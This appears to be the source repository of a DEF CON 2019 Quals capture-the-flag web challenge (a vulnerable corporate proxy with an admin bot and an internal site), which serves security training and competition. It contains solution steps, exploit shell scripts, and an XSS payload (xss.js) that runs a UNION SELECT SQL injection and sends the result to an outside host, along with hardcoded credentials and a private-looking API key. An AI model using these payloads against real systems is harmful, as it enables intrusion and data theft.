├── .gitignore ├── README-template.md ├── README.md ├── info.yml ├── interaction ├── Dockerfile ├── admin_up.sh ├── bad_exploit.sh ├── exploit.sh ├── internal_up.sh ├── proxy_up.sh ├── proxy_up2.sh ├── requirements.txt ├── test_xss.py └── xss.js ├── notes.txt ├── service ├── Dockerfile ├── files │ ├── admin │ │ ├── README.md │ │ └── admin.py │ ├── cert │ │ └── make_cert.sh │ ├── db_init.sql │ ├── internalwww │ │ ├── README.md │ │ ├── css │ │ │ └── bootstrap.min.css │ │ ├── internalwww.py │ │ └── template │ │ │ ├── base.html │ │ │ ├── error.html │ │ │ ├── home.html │ │ │ └── view.html │ ├── proxy │ │ ├── README.md │ │ ├── captcha_clean_cron │ │ ├── old-proxy.py │ │ ├── prox-internal │ │ │ ├── blocked.html │ │ │ ├── captchas │ │ │ │ └── .gitignore │ │ │ ├── css │ │ │ │ ├── bootstrap.min.css │ │ │ │ └── main.css │ │ │ ├── images │ │ │ │ └── ooo.png │ │ │ ├── review.html │ │ │ ├── reviewed.html │ │ │ └── scripts │ │ │ │ └── main.js │ │ └── run-proxy.py │ ├── public_files │ │ └── info.pac │ ├── requirements.txt │ └── run.sh ├── info.pac ├── local.pac └── plaintext.pac ├── tester └── tests ├── payload_generator.py └── tests.txt /.gitignore: -------------------------------------------------------------------------------- 1 | database.sqlite 2 | .*.sw* 3 | cert/ 4 | ghostdriver.log 5 | public_bundle.tar.gz 6 | scratch/ 7 | geckodriver.log 8 | venv 9 | *.pyc 10 | -------------------------------------------------------------------------------- /README-template.md: -------------------------------------------------------------------------------- 1 | # DEFCON 2019 Quals Template 2 | 3 | [![Build Status](https://travis-ci.com/o-o-overflow/dc2019q-template.svg?token=6XM5nywRvLrMFwxAsXj3&branch=master)](https://travis-ci.com/o-o-overflow/dc2019q-template) 4 | 5 | Use this chall as template (for the info.yaml, flag, deployment dir, etc.) 6 | 7 | The service-manager script will build the service container and test it. 8 | The way this works is: 9 | 10 | ## Writing the service 11 | 12 | Your service will be built from `service/Dockerfile` dockerfile. 13 | The contents of that dockerfile, and the security of the resulting container, are 100% up to you. 14 | **NOTHING will be changed about it for the final game deployment: it will be used and deployed as-is.** 15 | There are no expectations, except for: 16 | 17 | 1. Your service should `EXPOSE` its ports (using the `EXPOSE` dockerfile directive). 18 | Port deduplication across services can be handled on the host, so just using the port 31337 in the template is fine. 19 | If you have a commandline service, wrap it in xinetd. 20 | This template wraps a commandline service in xinetd, listening on port 31337. 21 | To expose UDP, use `EXPOSE 31337/udp`. 22 | 2. Your service should automatically run when `docker run -d your-service` is performed. 23 | The template does this by launching xinetd. 24 | 25 | ## Specifying public files. 26 | 27 | Public files are specified in the yaml, relative to the git repo root. They will be exposed with individual links, but internally bundled into a `public_bundle.tar.gz`. 28 | 29 | ## Writing the exploit and test scripts 30 | 31 | Your test scripts will be launched through a docker image built from the `interactions/Dockerfile` dockerfile. 32 | This dockerfile should set up the necessary environment to run interactions. 33 | Every script specified in your yaml's `interactions` list will be run. 34 | If a filename starts with the word `exploit`, then it is assumed to be an exploit that prints out the flag (anywhere in stdout), and its output is checked for the flag. 35 | 36 | The interaction image is instantiated as a persistent container in which the tests are run. 37 | Your test scripts should *not* be its `entrypoint` or `cmd` directives. 38 | An approximation of the test procedure is, roughly: 39 | 40 | ``` 41 | INTERACTION_CONTAINER=$(docker run --rm -i -d $INTERACTION_IMAGE) 42 | docker exec $INTERACTION_CONTAINER /exploit1.py $SERVICE_IP $SERVICE_PORT) | grep OOO{blahblah} 43 | docker exec $INTERACTION_CONTAINER /exploit2.sh $SERVICE_IP $SERVICE_PORT) | grep OOO{blahblah} 44 | docker exec $INTERACTION_CONTAINER /check1.py $SERVICE_IP $SERVICE_PORT) 45 | docker exec $INTERACTION_CONTAINER /check2.sh $SERVICE_IP $SERVICE_PORT) 46 | docker kill $INTERACTION_CONTAINER 47 | ``` 48 | 49 | The service manager will stress-test your service by launching multiple concurrent interactions. 50 | It'll also stress-test it by launching multiple connections that terminate immediately, and making sure your service cleanly exits in this scenario! 51 | 52 | ## Building 53 | 54 | You can build and test your service with the service manager: 55 | 56 | ``` 57 | # do everything 58 | ./tester 59 | 60 | # 61 | # or, piecemeal: 62 | # 63 | 64 | # build the service and public bundle: 65 | ./tester build 66 | 67 | # launch and test the service (interaction tests, stress tests, shortreads) 68 | ./tester test 69 | 70 | # just launch the service (will print network endpoint info) 71 | ./tester launch 72 | 73 | # just test the service 74 | ./tester launch $IP_ADDRESS $PORT 75 | ``` 76 | 77 | The following artifacts result from the build process: 78 | 79 | 1. a `dc2019q:your_service` image is created, containing your service 80 | 1. a `dc2019q:your_service-interactions` image is created, with your interaction scripts 81 | 1. `public_bundle.tar.gz` has the public files, extracted from the service image. 82 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | Order of the Overflow Proxy Service (OOOPS): 2 | === 3 | 4 | # Public information 5 | Description: On our corporate network, the only overflow is the Order of the Overflow. 6 | 7 | Category: Web 8 | 9 | Difficulty: Hard 10 | 11 | Author: [@AndrewFasano](https://twitter.com/andrewfasano) 12 | 13 | Download: [service/info.pac](public_files/info.pac). Note competitors should only start with this file, not the IP address of the webserver. 14 | 15 | ## Running the Challenge Locally 16 | You can build and launch the docker container with the following command. Instead of using info.pac, use [service/local.pac](service/local.pac) and replace the `url` variable with the IP address of your docker container. 17 | ``` 18 | docker build -t dc2019q:ooops ./service && docker run -it --rm -p 8080:8080 -p5000:5000 dc2019q:ooops 19 | ``` 20 |


21 | # Solution Information 22 | Spoilers below 23 |





24 | 25 | ## Challenge Overview 26 | The premise of this challenge is to leverage a bug in a proxy server to get a universal cross-site scripting bug which can then be used to access and exploit a target that would otherwise be unreachable. 27 | 28 | ## Steps 29 | 1. Deobfscuate provided info.pac file 30 | 2. Connect to proxy with credentials described in (de)obfscuated info.pac comments 31 | 3. Identify that any website containing `overflow` in the URL is blocked through info.pac comment 32 | 4. Explore proxy "blocked" pages. Identify they are served on all domains. Identify universal XSS 33 | 5. Request unblocking of a website. View referrer link to identify requests are coming from [internal www/](internal website) 34 | 6. Try to connect to the internal website, see "local connections only" error 35 | 7. Request unblocking of internal website with XSS, exfiltrate page contents. Observe obvious SQL query 36 | 8. Request unblocking of internal website with XSS, with malformed URL. Observe SQL error and investigate SQL injection 37 | 9. Request unblocking of internal website with XSS and SQLi, identify flag table and structure 38 | 10. Using UXSS and SQLi, leak flag from internal website database 39 | 40 | 41 | # Known Issues 42 | - The proxy doesn't actually support HTTPs 43 | 44 | -------------------------------------------------------------------------------- /info.yml: -------------------------------------------------------------------------------- 1 | # Info for the schoreboard 2 | service_name: "ooops" 3 | description: "On our corporate network, the only overflow is the Order of the Overflow." 4 | tags: 5 | - web 6 | violates_flag_format: false # if this is not "true", the flag is verfied against the flag format 7 | 8 | # At some point we may start blocking all egress connections. Set this to True if your service needs them. DO NOT RELY ON THIS FOR BLOCKING THOUGH. 9 | allow_egress: True 10 | 11 | flag: "OOO{C0rporateIns3curity}" # this is the flag of the service 12 | 13 | # Type can be normal or king_of_the_hill 14 | type: normal 15 | 16 | # This is the number of concurrent connections that a container should be able to handle. 17 | # This will be tested by the test script 18 | concurrent_connections: 64 19 | 20 | authors: 21 | - fasano 22 | 23 | # 24 | # Directories below the next two are absolute in either the `service` or `interaction` docker container. 25 | # 26 | 27 | # These are the files that will be "public" to the teams via the scoreboard. 28 | # The paths are relative to the repository! 29 | public_files: 30 | - service/info.pac 31 | 32 | # Test scripts are heavily encouraged. 33 | # All scripts should exit 0 if nothing went wrong. 34 | # Scripts are automatically determined to be exploit scripts if they start with the word "exploit". 35 | # Exploit scripts must output the flag using "FLAG: " and exit with 0 if the flag was captured correctly. 36 | # The paths are absolute in the `interaction` docker container. 37 | interactions: 38 | - /internal_up.sh 39 | - /proxy_up.sh 40 | - /proxy_up2.sh 41 | - /test_xss.py 42 | - /exploit.sh 43 | -------------------------------------------------------------------------------- /interaction/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM ubuntu:18.04 2 | 3 | # This isn't done but is probably enough to get the tests running on other machines 4 | 5 | run echo "travis_fold:start:Dapt\033[33;1mservice Dockerfile apt\033[0m" && \ 6 | apt-get -qq update && apt-get install -qq clang python3 python3-dev python3-openssl xinetd firefox build-essential python3-virtualenv python3-setuptools wget sqlite3 gunicorn && \ 7 | echo "\ntravis_fold:end:Dapt\r" 8 | 9 | # Install geckodriver 10 | RUN wget https://github.com/mozilla/geckodriver/releases/download/v0.24.0/geckodriver-v0.24.0-linux64.tar.gz && tar xvf geckodriver-v0.24.0-linux64.tar.gz && mv geckodriver /usr/local/bin 11 | 12 | # Install phantomjs 13 | RUN wget https://bitbucket.org/ariya/phantomjs/downloads/phantomjs-2.1.1-linux-x86_64.tar.bz2 -O phantomjs.tar.bz2 && \ 14 | tar xvf phantomjs.tar.bz2 && \ 15 | cp phantomjs-2.1.1-linux-x86_64/bin/phantomjs /usr/bin/ && \ 16 | chmod ugo+x /usr/bin/phantomjs && \ 17 | rm -rf phantomjs-2.1.1-linux-x86_64 phantomjs.tar.bz2 18 | 19 | # Extra dependencies for tests 20 | RUN apt-get -qq update && apt-get install -qq curl 21 | 22 | 23 | RUN mkdir /tests 24 | 25 | # Set up virtualenv and install dependencies 26 | COPY requirements.txt /tests 27 | RUN python3 -m virtualenv --python=/usr/bin/python3 /tests/venv 28 | RUN . /tests/venv/bin/activate && pip install -r /tests/requirements.txt 29 | 30 | COPY *.sh / 31 | COPY *.py / 32 | 33 | RUN chmod +x *.sh *.py 34 | -------------------------------------------------------------------------------- /interaction/admin_up.sh: -------------------------------------------------------------------------------- 1 | #!/bin/sh 2 | 3 | PAYLOAD="http://state.actor/ooops_log.php?live_regular_url=basic_works" 4 | CLEANUP="http://state.actor/ooops_log.php?clean" 5 | 6 | echo "Building malicious request through proxy" 7 | 8 | http_proxy=http://OnlyOne:Overflow@35.236.48.134:8080/ curl -s 'http://example.com/ooops/d35fs23hu73ds/reviewed.html' \ 9 | -H 'Content-Type: application/x-www-form-urlencoded' -H 'Proxy-Authorization: Basic T25seU9uZTpPdmVyZmxvdw==' \ 10 | -H 'Connection: keep-alive' \ 11 | --data-urlencode "captcha_id=EFYGP.png" \ 12 | --data-urlencode "captcha_guess=fasanotesting" \ 13 | --data-urlencode "url=${PAYLOAD}" 14 | 15 | STAGE1=$? 16 | if [ $STAGE1 -ne 0 ]; then 17 | echo "Got unexpected response when submitting request" 18 | exit $STAGE1 19 | fi 20 | 21 | 22 | REMOTE="http://state.actor/ooops_test_suite.txt" 23 | echo "Send benign request to connect back to our server and log $REMOTE. Waiting 10s before checking for flag..." 24 | sleep 10; 25 | 26 | EXIT=$(curl -s $REMOTE |grep -q "basic_works" & curl -s $REMOTE |grep "HTTP_REFERER") 27 | 28 | curl -s $(CLEANUP) 29 | 30 | exit $EXIT 31 | -------------------------------------------------------------------------------- /interaction/bad_exploit.sh: -------------------------------------------------------------------------------- 1 | #!/bin/sh 2 | 3 | PAYLOAD=$(cat <<'EOF' 4 | http://172.17.0.2:5000/ooops/d35fs23hu73ds/blocked.html?=____________________________________________________ 5 | EOF 6 | ) 7 | 8 | echo "Sending broken malicious request through proxy" 9 | 10 | http_proxy=http://OnlyOne:Overflow@127.0.0.1:8080/ curl -s 'http://example.com/ooops/d35fs23hu73ds/reviewed.html' \ 11 | -H 'Content-Type: application/x-www-form-urlencoded' -H 'Proxy-Authorization: Basic T25seU9uZTpPdmVyZmxvdw==' \ 12 | -H 'Connection: keep-alive' \ 13 | --data-urlencode "captcha_id=EFYGP.png" \ 14 | --data-urlencode "captcha_guess=fasanotesting" \ 15 | --data-urlencode "url=${PAYLOAD}" | grep -q "Thank you for your request" 16 | 17 | #' 18 | 19 | echo "Getting log from state.actor" 20 | REMOTE="http://state.actor/ooops_test_suite.txt" 21 | 22 | OUTPUT=$(curl -s $REMOTE | grep "SELECTs to the left and right") 23 | STAGE2=$? 24 | 25 | # Get logging url to erase log 26 | echo "Clearing state.actor log" 27 | curl -s http://state.actor/ooops_log.php >/dev/null 28 | 29 | if [ $STAGE2 -eq 0 ]; then 30 | echo "Success" 31 | else 32 | echo "Failure" 33 | fi 34 | 35 | # Shoudln't contain the flag 36 | exit $STAGE2 37 | -------------------------------------------------------------------------------- /interaction/exploit.sh: -------------------------------------------------------------------------------- 1 | #!/bin/sh 2 | 3 | 4 | echo "WARNING: This uses a hard-coded IP for internalwww and calls out to an external script with another hardcoded url. It probably won't work on newly deployed containers" 5 | 6 | # Update PAYLOAD with referrer IP from admin_up check. If length changes, change query as well 7 | #PAYLOAD=$(cat <<'EOF' 8 | #http://172.17.0.2:5000/ooops/d35fs23hu73ds/blocked.html?=____________________________________________________ 9 | #EOF 10 | #) 11 | PAYLOAD=$(cat <<'EOF' 12 | http://10.0.1.3:5000/ooops/d35fs23hu73ds/blocked.html?abc=____________________________________________________ 13 | EOF 14 | ) 15 | #' 16 | echo "Building malicious request through proxy" 17 | 18 | PROXY_HOST="35.236.48.134" 19 | http_proxy=http://OnlyOne:Overflow@${PROXY_HOST}:8080/ curl -s 'http://example.com/ooops/d35fs23hu73ds/reviewed.html' \ 20 | -H 'Content-Type: application/x-www-form-urlencoded' -H 'Proxy-Authorization: Basic T25seU9uZTpPdmVyZmxvdw==' \ 21 | -H 'Connection: keep-alive' \ 22 | --data-urlencode "captcha_id=EFYGP.png" \ 23 | --data-urlencode "captcha_guess=fasanotesting" \ 24 | --data-urlencode "url=${PAYLOAD}" | grep -q "Thank you for your request" 25 | 26 | STAGE1=$? 27 | if [ $STAGE1 -ne 0 ]; then 28 | echo "Got unexpected response when submitting request" 29 | exit $STAGE1 30 | fi 31 | 32 | 33 | REMOTE="http://state.actor/ooops_test_suite.txt" 34 | echo "Sent exploit to exfil to $REMOTE. Waiting 10s before checking for flag..." 35 | sleep 10; 36 | 37 | OUTPUT=$(curl -s $REMOTE | grep -oh 'OOO{[a-zA-Z0-9_-]*}') 38 | STAGE2=$? 39 | 40 | # Get logging url to erase log 41 | curl -s http://state.actor/ooops_log.php?clear >/dev/null 42 | 43 | # Echo output (should contain flag) 44 | echo $OUTPUT 45 | exit $STAGE2 46 | 47 | -------------------------------------------------------------------------------- /interaction/internal_up.sh: -------------------------------------------------------------------------------- 1 | #!/bin/sh 2 | 3 | # Note this only works if we're actually exposing the internal server. This assumes the ports/IP haven't changed 4 | http_proxy=http://OnlyOne:Overflow@127.0.0.1:8080/ curl -s 172.17.0.2:5000 | grep -q "only internal users may access" 5 | -------------------------------------------------------------------------------- /interaction/proxy_up.sh: -------------------------------------------------------------------------------- 1 | #!/bin/sh 2 | # Blocked request 3 | http_proxy=http://OnlyOne:Overflow@127.0.0.1:8080/ curl -s http://overflow.example.com/ | grep -q "Page Blocked" 4 | -------------------------------------------------------------------------------- /interaction/proxy_up2.sh: -------------------------------------------------------------------------------- 1 | #!/bin/sh 2 | 3 | # Unblocked request 4 | http_proxy=http://OnlyOne:Overflow@127.0.0.1:8080/ curl -s http://example.com/ | grep -q "This domain is established" 5 | -------------------------------------------------------------------------------- /interaction/requirements.txt: -------------------------------------------------------------------------------- 1 | wheel==0.31.1 2 | asn1crypto==0.24.0 3 | attrs==19.1.0 4 | Automat==0.7.0 5 | cffi==1.12.3 6 | Click==7.0 7 | constantly==15.1.0 8 | cryptography==2.6.1 9 | Flask==1.0.2 10 | hyperlink==19.0.0 11 | idna==2.8 12 | incremental==17.5.0 13 | itsdangerous==1.1.0 14 | Jinja2==2.10.1 15 | MarkupSafe==1.1.1 16 | phantomjs-binary==2.1.3 17 | pkg-resources==0.0.0 18 | pycparser==2.19 19 | PyHamcrest==1.9.0 20 | pyOpenSSL==19.0.0 21 | selenium==3.141.0 22 | six==1.12.0 23 | Twisted==19.2.0 24 | urllib3==1.25.2 25 | Werkzeug==0.15.2 26 | zope.interface==4.6.0 27 | captcha==0.3 28 | -------------------------------------------------------------------------------- /interaction/test_xss.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | 3 | # Run a browser locally behind the proxy to browse to the final payload URL 4 | 5 | import os 6 | import sys 7 | from selenium import webdriver 8 | from selenium.common.exceptions import TimeoutException, NoSuchElementException, UnexpectedAlertPresentException 9 | from selenium.webdriver.common.desired_capabilities import DesiredCapabilities 10 | from base64 import b64encode 11 | from base64 import b64encode 12 | 13 | # Browse to exploit URL via proxy to validate that UXSS proxy bug is working 14 | # This payload will console.log("XSS works") 15 | # Note backslashes are double escaped for python 16 | url =""" 17 | http://172.17.0.2:5000/ooops/d35fs23hu73ds/blocked.html? 18 | _______ 19 | ___ 20 | __ 21 | _________________ 22 | _______________________ 23 | """.replace("\n", "") 24 | 25 | def get_driver(proxy_host, proxy_port): 26 | service_args = [ '--proxy={}:{}'.format(proxy_host, proxy_port), '--proxy-type=http'] 27 | 28 | # Proxy creds/authtoken as a capability 29 | proxy_creds = b"OnlyOne:Overflow" 30 | proxy_auth_token = "Basic " + b64encode(proxy_creds).decode("utf-8") 31 | caps = DesiredCapabilities.PHANTOMJS 32 | caps['phantomjs.page.customHeaders.Proxy-Authorization'] = proxy_auth_token 33 | 34 | driver = webdriver.PhantomJS('/usr/bin/phantomjs', 35 | service_args=service_args, desired_capabilities=caps) 36 | 37 | return driver 38 | 39 | driver = get_driver("localhost", 8080) 40 | 41 | try: 42 | driver.get(url) 43 | driver.implicitly_wait(4) 44 | 45 | """ 46 | print("console logs:") 47 | for log in driver.get_log("browser"): 48 | print(log['message']) 49 | """ 50 | 51 | driver.find_element_by_id("xss") 52 | print("Success. UXSS ran") 53 | 54 | sys.exit(0) 55 | 56 | 57 | except NoSuchElementException: 58 | print("Failure. xss element missing- UXSS didn't run?") 59 | print(driver.page_source) 60 | 61 | sys.exit(1) 62 | except Exception as e: 63 | print("General failure") 64 | raise e 65 | finally: 66 | driver.quit() 67 | 68 | # Won't get here on successes 69 | sys.exit(1) 70 | -------------------------------------------------------------------------------- /interaction/xss.js: -------------------------------------------------------------------------------- 1 | // Not an automated test. Just a reference. 2 | // 2nd stage XSS payload to exfiltrate flag 3 | url = "http://192.168.1.159:5000/admin/view/"+encodeURIComponent("0 union select 1,(select flag from flag),3,4,5") 4 | var xmlhttp = new XMLHttpRequest(); 5 | xmlhttp.onreadystatechange = function() { 6 | if (xmlhttp.readyState == XMLHttpRequest.DONE) { // XMLHttpRequest.DONE == 4 7 | if (xmlhttp.status == 200) { 8 | d = xmlhttp.responseText; 9 | document.location="http://state.actor/log.php?FLAG="+encodeURIComponent(d); 10 | } 11 | else { 12 | document.location="http://state.actor/log.php?ERR="+xmlhttp.status; 13 | } 14 | } 15 | }; 16 | 17 | xmlhttp.open("GET", url, true); 18 | xmlhttp.send(); 19 | 20 | -------------------------------------------------------------------------------- /notes.txt: -------------------------------------------------------------------------------- 1 | Description: On our corporate network, the only overflow is the Order of the Overflow. 2 | Score: 300 points 3 | files: info.pac 4 | flag: OOO{MuchCorporateSuchSecurity} 5 | 6 | 1) Get obfscuated .pac file from challenge description which uses (TODO) load-balanced URL 7 | 2) Deobfscuate to get credentials. Connect to proxy 8 | 3) Identify proxy blocking (stack overflow hint?) 9 | 4) Request unblocking of custom site -> see admin internal's referrer (TODO) 10 | 5) Explore blocked pages, identify xss 11 | 6) Request unblock of xss'd admin internal page 12 | 7) Exfil admin page 13 | 8) Exploit admin page 14 | 15 | Manually patched twisted's web/http.py on lines 1118, 1136 16 | 17 | 18 | TODO: 19 | Captcha / proof of work 20 | Guard requests with Captcha, insert into DB when made 21 | Test it all 22 | 23 | Optional: 24 | HTTPs 25 | Show images of visited pages? 26 | Make it pretty 27 | 28 | Database: 29 | Flag 30 | User flag 31 | admin OOO{MuchCorporateSuchSecurity} 32 | 33 | 34 | Requests 35 | ID IP URL Visited 36 | 0 1.2.3.4 https://... false 37 | 1 ... 38 | 39 | hashcash.io stuff: 40 | 83fef3b9-18ca-4fdd-9d61-039ba5ec9ceb 41 | PRIVATE-6e0cb711-68bd-4dc7-beb1-9b9baf217677 42 | 43 | // TODO: check with hashcash API to validate 44 | request 'https://hashcash.io/api/checkwork/' + $_REQUEST['hashcashid'] + '?apikey=[YOUR-PRIVATE-KEY]' 45 | work = json_decode(file_get_contents($url)); 46 | err = None 47 | if (!work): err = "Please try again" 48 | if (work->verified: err = "This proof-of-work was already used" 49 | if $work->totalDone < 0.01: err= "You did not wait long enough" 50 | if not err: 51 | print("OK") 52 | else: 53 | print(err) 54 | -------------------------------------------------------------------------------- /service/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM ubuntu:18.04 2 | 3 | run echo "travis_fold:start:Dapt\033[33;1mservice Dockerfile apt\033[0m" && \ 4 | apt-get -qq update && apt-get install -qq clang python3 python3-dev python3-openssl xinetd firefox build-essential python3-virtualenv \ 5 | python3-setuptools wget sqlite3 cron sudo && \ 6 | echo "\ntravis_fold:end:Dapt\r" 7 | 8 | # Install geckodriver 9 | RUN wget https://github.com/mozilla/geckodriver/releases/download/v0.24.0/geckodriver-v0.24.0-linux64.tar.gz && tar xvf geckodriver-v0.24.0-linux64.tar.gz && mv geckodriver /usr/local/bin 10 | 11 | # Install phantomjs 12 | RUN wget https://bitbucket.org/ariya/phantomjs/downloads/phantomjs-2.1.1-linux-x86_64.tar.bz2 -O phantomjs.tar.bz2 && \ 13 | tar xvf phantomjs.tar.bz2 && \ 14 | cp phantomjs-2.1.1-linux-x86_64/bin/phantomjs /usr/bin/ && \ 15 | chmod ugo+x /usr/bin/phantomjs && \ 16 | rm -rf phantomjs-2.1.1-linux-x86_64 phantomjs.tar.bz2 17 | 18 | # Setup users (TODO, use the users) 19 | # www runs public proxy 20 | # internal-www runs internal-only website 21 | # internal visits user provided urls 22 | RUN useradd www 23 | RUN useradd internalwww 24 | RUN useradd internal 25 | 26 | # Build root directory for our files 27 | RUN mkdir /app 28 | 29 | # Set up virtualenv and install dependencies 30 | COPY files/requirements.txt /app/ 31 | RUN python3 -m virtualenv --python=/usr/bin/python3 /app/venv 32 | RUN . /app/venv/bin/activate && pip install -r /app/requirements.txt 33 | 34 | # Parse arguments. proxy_port default 8080, admin_www_port default 5000 35 | ARG PROXY_PORT 36 | ENV PROXY_PORT ${PROXY_PORT:-8080} 37 | 38 | ARG ADMIN_WWW_PORT 39 | ENV ADMIN_WWW_PORT ${ADMIN_WWW_PORT:-5000} 40 | 41 | # Expose proxy port and admin_WWW (just to give a hint about local connections) 42 | expose $PROXY_PORT $ADMIN_WWW_PORT 43 | 44 | # Cron to cleanup unchecked captchas 45 | ADD files/proxy/captcha_clean_cron /etc/cron.d/captcha_clean_cron 46 | RUN chmod 0644 /etc/cron.d/captcha_clean_cron 47 | 48 | # Setup ssl certs into /app/cert/ca.crt, and /app/cert/ca.key 49 | RUN mkdir /app/cert 50 | COPY files/cert/ /app/cert/ 51 | RUN /app/cert/make_cert.sh 52 | 53 | # Create empty requests table and non-empty flag table 54 | COPY files/db_init.sql /app/ 55 | RUN sqlite3 /app/database.sqlite < /app/db_init.sql 56 | 57 | # Only www and internal can write. internalwww can only read 58 | #RUN groupadd db_writers 59 | #RUN usermod -a -G db_writers www 60 | #RUN usermod -a -G db_writers internal 61 | #RUN chown root:db_writers /app/database.sqlite 62 | #RUN chmod 774 /app/database.sqlite 63 | #RUN chmod 777 /app/database.sqlite 64 | 65 | # Copy in our start script 66 | COPY files/run.sh /app/ 67 | 68 | # Copy in each of the 3 applications 69 | RUN mkdir /app/internalwww 70 | COPY files/internalwww/ /app/internalwww/ 71 | 72 | RUN mkdir /app/proxy 73 | COPY files/proxy/ /app/proxy/ 74 | 75 | RUN mkdir /app/admin 76 | COPY files/admin/ /app/admin/ 77 | 78 | RUN chown -R www /app/proxy 79 | RUN chown -R internalwww /app/internalwww 80 | RUN chown -R internal /app/admin 81 | 82 | RUN touch ghostdriver.log && chmod 777 ghostdriver.log 83 | 84 | HEALTHCHECK --interval=10s --timeout=10s CMD http_proxy=http://OnlyOne:Overflow@127.0.0.1:8080/ wget -qO - http://overflow.example.com/ | grep -q 'Page Blocked' || exit 1 85 | 86 | # Start script which runs all 3 components 87 | RUN chmod +x /app/run.sh 88 | CMD ["/bin/sh", "-c", "/app/run.sh $ADMIN_WWW_PORT $PROXY_PORT"] 89 | -------------------------------------------------------------------------------- /service/files/admin/README.md: -------------------------------------------------------------------------------- 1 | # Admin 2 | Visits links submitted by users. Gets XSS'd 3 | -------------------------------------------------------------------------------- /service/files/admin/admin.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | 3 | import os 4 | import sys 5 | import time 6 | import random 7 | import sqlite3 8 | import logging 9 | from selenium import webdriver 10 | from selenium.common.exceptions import TimeoutException, NoSuchElementException, UnexpectedAlertPresentException 11 | from selenium.webdriver.common.desired_capabilities import DesiredCapabilities 12 | from base64 import b64encode 13 | 14 | ##### configuration ###### 15 | # Number of requests to process in each thread 16 | REQ_PER_THREAD = 10 17 | 18 | # Time to allow for each request (note 2 requests per query) 19 | TIMEOUT = 10 20 | 21 | # Time to wait when there's nothing to do 22 | NOTHING_WAIT = 5 23 | 24 | # Sqlite database path 25 | db_name = "/app/database.sqlite" 26 | ########################## 27 | 28 | 29 | FORMAT = 'ADMIN: %(asctime)-10s %(message)s' 30 | logging.basicConfig(level=logging.INFO,format=FORMAT) 31 | logger = logging.getLogger(__name__) 32 | 33 | def make_driver(): 34 | # Proxy args as service_args 35 | global PROXY_HOST 36 | service_args = [ '--proxy={}:{}'.format(PROXY_HOST, PROXY_PORT), '--proxy-type=http'] 37 | 38 | # Proxy creds/authtoken as a capability 39 | proxy_creds = b"OnlyOne:Overflow" 40 | proxy_auth_token = "Basic " + b64encode(proxy_creds).decode("utf-8") 41 | caps = DesiredCapabilities.PHANTOMJS 42 | caps['phantomjs.page.customHeaders.Proxy-Authorization'] = proxy_auth_token 43 | 44 | driver = webdriver.PhantomJS('/usr/bin/phantomjs', 45 | service_args=service_args, desired_capabilities=caps) 46 | return driver 47 | 48 | def do_request(driver, rid, url): 49 | """ 50 | Actually load a page via the admin page via the proxy 51 | Returns bool indicating success 52 | """ 53 | global INTERNAL, TIMEOUT, logger 54 | 55 | # Avoid potential issues with files 56 | dec_url = url.decode("ascii", "ignore") 57 | 58 | if not dec_url.lower().startswith("http://") and not dec_url.lower().startswith("https://"): 59 | logger.warn("Skipping request of malformed url {}".format(dec_url)) 60 | return False 61 | 62 | s = time.time() 63 | internal_url = "http://{}/admin/view/{}".format(INTERNAL, rid) 64 | logger.info("Loading {} indirectly via {}".format(dec_url, internal_url)) 65 | 66 | # First load internal page which contains link (to set referrer) 67 | # TODO: test timeouts 68 | driver.set_page_load_timeout(TIMEOUT) 69 | 70 | try: 71 | driver.get(internal_url) 72 | except TimeoutException as e: 73 | logger.warning("Timeout loading INTERNAL {}".format(internal_url)) 74 | return False 75 | except UnexpectedAlertPresentException as e: 76 | logger.info("Saw alert: {}".format(e)) 77 | except Exception as e: 78 | logger.warning("ADMIN: Unexpected exception in browser: {}".format(e)) 79 | return False 80 | 81 | #logger.info("INTERNAL PAGE: {}".format(driver.page_source)) 82 | 83 | try: 84 | lnk = driver.find_element_by_id("lnk") 85 | except NoSuchElementException: 86 | logger.warning("Couldn't find lnk in page: {}".format(driver.page_source)) 87 | return False 88 | except Exception as e: 89 | logger.warning("ADMIN: Unexpected exception clicking link: {}".format(e)) 90 | return False 91 | 92 | try: 93 | lnk.click() 94 | driver.implicitly_wait(TIMEOUT) 95 | except UnexpectedAlertPresentException as e: 96 | logger.info("Saw alert: {}".format(e)) 97 | except TimeoutException as e: 98 | logger.warning("Timeout loading EXTERNAL {}".format(internal_url)) 99 | return False 100 | except Exception as e: 101 | logger.warning("ADMIN: Unexpected exception in browser: {}".format(e)) 102 | return False 103 | 104 | 105 | #logger.info("EXTERNAL PAGE: {}".format(driver.page_source)) 106 | 107 | e = time.time() 108 | logger.info("\t Total request processing took {:f} seconds".format(e-s)) 109 | return True 110 | 111 | def run_it(thread_id): 112 | """ 113 | Each process will manage the newest [REQ_PER_THREAD] requests, selecting 114 | a maximum of 1 request per IP 115 | """ 116 | global db_name, REQ_PER_THREAD, TIMEOUT, service_args, proxy_auth_token 117 | assert (thread_id > 3) 118 | 119 | driver = make_driver() 120 | conn = sqlite3.connect(db_name) 121 | cur = conn.cursor() 122 | try: 123 | while True: 124 | to_process = [] 125 | 126 | # Select 10 IPs with the newest submissions and select their newest requests 127 | q = "UPDATE requests SET visited={:d} where rowid in (select max(ROWID) as rid from requests" \ 128 | " where visited=0 group by ip order by ts DESC limit {:d});".format(thread_id, REQ_PER_THREAD) 129 | r = cur.execute(q) 130 | conn.commit() 131 | 132 | q2 = "select rowid, * from requests where visited={:d} order by ts DESC;".format(thread_id) 133 | r2 = cur.execute(q2) 134 | to_process = r2.fetchall() 135 | 136 | if not len(to_process): 137 | time.sleep(NOTHING_WAIT) 138 | 139 | # For each selected request, try to fetch the page 140 | # and update the rows in the DB accordingly 141 | successes = [] 142 | errors = [] 143 | for req in to_process: 144 | try: 145 | success = do_request(driver, req[0], req[3]) 146 | except Exception as e: 147 | success = False 148 | logger.warning("Unhandled exception in do_request: {}".format(e)) 149 | 150 | if success: 151 | successes.append(req[0]) 152 | else: 153 | errors.append(req[0]) 154 | 155 | if len(successes): 156 | q_s = "UPDATE requests set visited=1 where rowid in ({})".format(", ".join(map(str, successes))) 157 | r_s = cur.execute(q_s) 158 | conn.commit() 159 | 160 | if len(errors): 161 | q_e = "UPDATE requests set visited=2 where rowid in ({})".format(", ".join(map(str, errors))) 162 | r_e = cur.execute(q_e) 163 | conn.commit() 164 | finally: 165 | print("Shutting down Headless FF") 166 | driver.quit() 167 | 168 | # DB has visited enum: 169 | # 0 => To visit 170 | # 1 => Visited 